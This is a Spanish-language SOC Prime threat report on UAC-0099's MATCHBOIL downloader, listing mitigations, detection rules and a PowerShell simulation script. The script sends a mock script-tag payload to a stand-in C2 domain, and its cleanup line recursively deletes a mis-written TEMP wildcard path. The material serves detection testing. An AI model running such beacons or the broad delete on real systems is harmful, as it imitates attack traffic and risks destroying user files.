SOC Prime Bias: Critical

12 Oct 2026 19:30 UTC

La Campaña de Malware MATCHBOIL Introduce Nuevas Técnicas para Ataques Persistentes

Author Photo
SOC Prime Team linkedin icon Seguir
La Campaña de Malware MATCHBOIL Introduce Nuevas Técnicas para Ataques Persistentes
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

UAC-0099, un grupo APT alineado con Rusia, ha evolucionado significativamente su descargador MATCHBOIL C# entre 2024 y 2026. El malware se usa para descargar, desplegar y mantener la persistencia de cargas secundarias como el backdoor MATCHWOK. Las variantes más recientes incorporan una ofuscación más fuerte con .NET Reactor, técnicas de evasión de sandbox y métodos de comunicación C2 cada vez más sofisticados.

Investigación

Investigadores de ESET llevaron a cabo un análisis cronológico de las variantes de MATCHBOIL identificadas a través de la telemetría y las presentaciones en VirusTotal. La investigación documentó la progresión del malware desde una ofuscación básica de Unicode hasta la virtualización de código avanzada y la engaño al usuario basado en GUI. Los investigadores también descompilaron componentes C# para examinar consultas WMI, lógica de comunicación HTTPS y técnicas de persistencia.

Mitigación

Las organizaciones deben monitorear la ejecución sospechosa de C# y tareas programadas inesperadas o cambios en el registro dentro de los directorios de perfiles de usuario. La detección de endpoints debe identificar consultas WMI no autorizadas y tráfico HTTPS saliente inusual a dominios previamente no caracterizados. Los equipos de seguridad también deben estar atentos a nombres de archivos maliciosos conocidos y argumentos de línea de comando sospechosos como -auto or -planos.

Respuesta

Cuando se detecte actividad de MATCHBOIL, aísle los hosts afectados para evitar una mayor entrega de cargas y comunicación C2. Realice una investigación forense exhaustiva para determinar el vector de infección inicial, que probablemente es phishing dirigido. Revise las claves de Run en el registro y las tareas programadas para entradas no autorizadas y verifique los sistemas comprometidos en busca de cargas secundarias como MATCHWOK.

Flujo de Ataque

Todavía estamos actualizando esta parte.

Detecciones

Puntos de Persistencia Posibles [ASEPs – Software/Colmena de NTUSER] (vía evento de registro)

Equipo de SOC Prime
09 oct 2026

LOLBAS WScript / CScript (vía creación de proceso)

Equipo de SOC Prime
09 oct 2026

Biblioteca de Windows Posible Creada en una Carpeta Inusual (vía evento de archivo)

Equipo de SOC Prime
09 oct 2026

Tarea Programada Sospechosa (vía auditoría)

Equipo de SOC Prime
09 oct 2026

IoCs (HashSha1) para detectar: Investigación de ESET MATCHBOIL: Nuevos trucos, mismas intenciones maliciosas

Reglas de IA de SOC Prime
09 oct 2026

IoCs (SourceIP) para detectar: Investigación de ESET MATCHBOIL: Nuevos trucos, mismas intenciones maliciosas

Reglas de IA de SOC Prime
09 oct 2026

IoCs (DestinationIP) para detectar: Investigación de ESET MATCHBOIL: Nuevos trucos, mismas intenciones maliciosas

Reglas de IA de SOC Prime
09 oct 2026

Obtención de Información del Sistema UAC‑0099 WMI [Registro de Eventos de Seguridad de Microsoft Windows]

Reglas de IA de SOC Prime
09 oct 2026

Detección de Comunicación de Control y Comando MATCHBOIL UAC-0099 [Conexión de Red de Windows]

Reglas de IA de SOC Prime
09 oct 2026

Ejecución de Simulación

  • Narrativa del Ataque y Comandos: El adversario busca establecer un canal de Control y Comando (C2) para recibir instrucciones y descargar módulos adicionales. Para evadir un bloqueo simple basado en IP, el atacante utiliza un dominio registrado bajo un TLD común (.pro). El atacante simula la técnica «MATCHBOIL» enviando una solicitud HTTPS donde la carga contiene un <script> bloque, imitando la entrega de instrucciones maliciosas codificadas en hexadecimal disfrazadas como contenido web. Esto tiene la intención de activar tanto la condición basada en dominio como la condición basada en carga de la regla de detección.

  • Script de Prueba de Regresión:

    # Simulación de Comunicación C2 de MATCHBOIL
    # Este script realiza una solicitud HTTPS a un dominio .pro que contiene una etiqueta de script en la carga/cuerpo.
    
    $targetUrl = "https://test-matchboil-c2.pro/api/v1/update"
    $maliciousPayload = "<script>eval(hex_decode('414243'))</script>"
    
    try {
        Write-Host "[+] Intentando comunicación C2 a $targetUrl" -ForegroundColor Cyan
        Invoke-RestMethod -Uri $targetUrl -Method Post -Body $maliciousPayload -ContentType "application/octet-stream"
    }
    catch {
        Write-Host "[!] Solicitud completada (fallo esperado si el dominio no existe, pero la telemetría aún debería capturarse)" -ForegroundColor Yellow
    }
  • Comandos de Limpieza:

    # No se hacen cambios persistentes por el script. 
    # Sólo asegure que los archivos temporales locales creados durante las pruebas sean eliminados.
    Remove-Item -Path "$env:TEMP*" -Recurse -ErrorAction SilentlyContinue